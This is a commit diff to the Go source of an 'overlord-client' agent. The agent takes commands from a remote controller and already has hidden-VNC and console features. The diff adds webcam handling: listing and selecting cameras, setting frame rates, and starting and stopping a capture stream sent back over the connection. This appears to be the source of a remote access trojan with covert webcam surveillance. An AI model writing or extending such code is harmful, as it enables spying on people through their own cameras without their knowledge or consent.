This commit is contained in:
KingKDot
2026-03-08 22:31:11 -05:00
parent 6c05960400
commit 78a79ea3e1
27 changed files with 1352 additions and 12 deletions
@@ -82,6 +82,18 @@ func resetForReconnect(env *runtime.Env) {
env.HVNCSelectedDisplay = 0
env.HVNCMu.Unlock()
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
env.WebcamCancel()
}
waitStreamStop(env.WebcamDone, "webcam")
env.WebcamCancel = nil
env.WebcamDone = nil
env.WebcamDeviceIndex = 0
env.WebcamFPS = 30
env.WebcamUseMaxFPS = false
env.WebcamMu.Unlock()
if env.Console != nil {
env.Console.StopAll()
}
@@ -1264,6 +1276,97 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_start":
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
env.WebcamCancel()
waitStreamStop(env.WebcamDone, "webcam")
}
webcamCtx, cancel := context.WithCancel(ctx)
env.WebcamCancel = cancel
done := make(chan struct{})
env.WebcamDone = done
goSafe("webcam stream", env.Cancel, func() {
log.Printf("webcam: start requested")
_ = WebcamStart(webcamCtx, env)
close(done)
})
env.WebcamMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_list":
devices, err := capture.ListWebcams()
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
out := make([]wire.WebcamDevice, 0, len(devices))
for _, dev := range devices {
out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS})
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex})
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_select":
payload, _ := envelope["payload"].(map[string]interface{})
index := 0
if payload != nil {
if n, ok := payloadInt(payload, "index"); ok {
index = n
}
}
env.WebcamDeviceIndex = index
capture.CleanupWebcam()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
env.WebcamMu.Lock()
isStreaming := env.WebcamCancel != nil
env.WebcamMu.Unlock()
if isStreaming {
sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps")
return nil
}
fps := env.WebcamFPS
useMax := env.WebcamUseMaxFPS
if payload != nil {
if n, ok := payloadInt(payload, "fps"); ok {
fps = n
}
if v, ok := payload["useMax"].(bool); ok {
useMax = v
}
}
if fps < 1 {
fps = 30
}
if fps > 120 {
fps = 120
}
clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax)
if clampErr != nil {
log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr)
} else {
fps = clampedFPS
}
env.WebcamFPS = fps
env.WebcamUseMaxFPS = useMax
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_stop":
env.WebcamMu.Lock()
log.Printf("webcam: stop requested")
if env.WebcamCancel != nil {
env.WebcamCancel()
}
waitStreamStop(env.WebcamDone, "webcam")
env.WebcamCancel = nil
env.WebcamDone = nil
env.WebcamMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "console_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
cols, rows := envelopePayloadInts(envelope)
@@ -0,0 +1,55 @@
package handlers
import (
"context"
"log"
"time"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
)
func WebcamStart(ctx context.Context, env *rt.Env) error {
fps := env.WebcamFPS
if fps <= 0 {
fps = 30
}
if env.WebcamUseMaxFPS {
fps = 60
}
if fps > 120 {
fps = 120
}
interval := time.Second / time.Duration(fps)
log.Printf("webcam: starting stream (max fps %d)", fps)
defer capture.CleanupWebcam()
ticker := time.NewTicker(interval)
defer ticker.Stop()
lastErrText := ""
lastErrLogAt := time.Time{}
for {
select {
case <-ctx.Done():
log.Printf("webcam: stopping stream")
return nil
case <-ticker.C:
if err := capture.NowWebcam(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("webcam: stopping stream")
return nil
}
errText := err.Error()
now := time.Now()
if errText != lastErrText || now.Sub(lastErrLogAt) >= 2*time.Second {
log.Printf("webcam: capture error: %v", err)
lastErrText = errText
lastErrLogAt = now
}
} else {
lastErrText = ""
lastErrLogAt = time.Time{}
}
}
}
}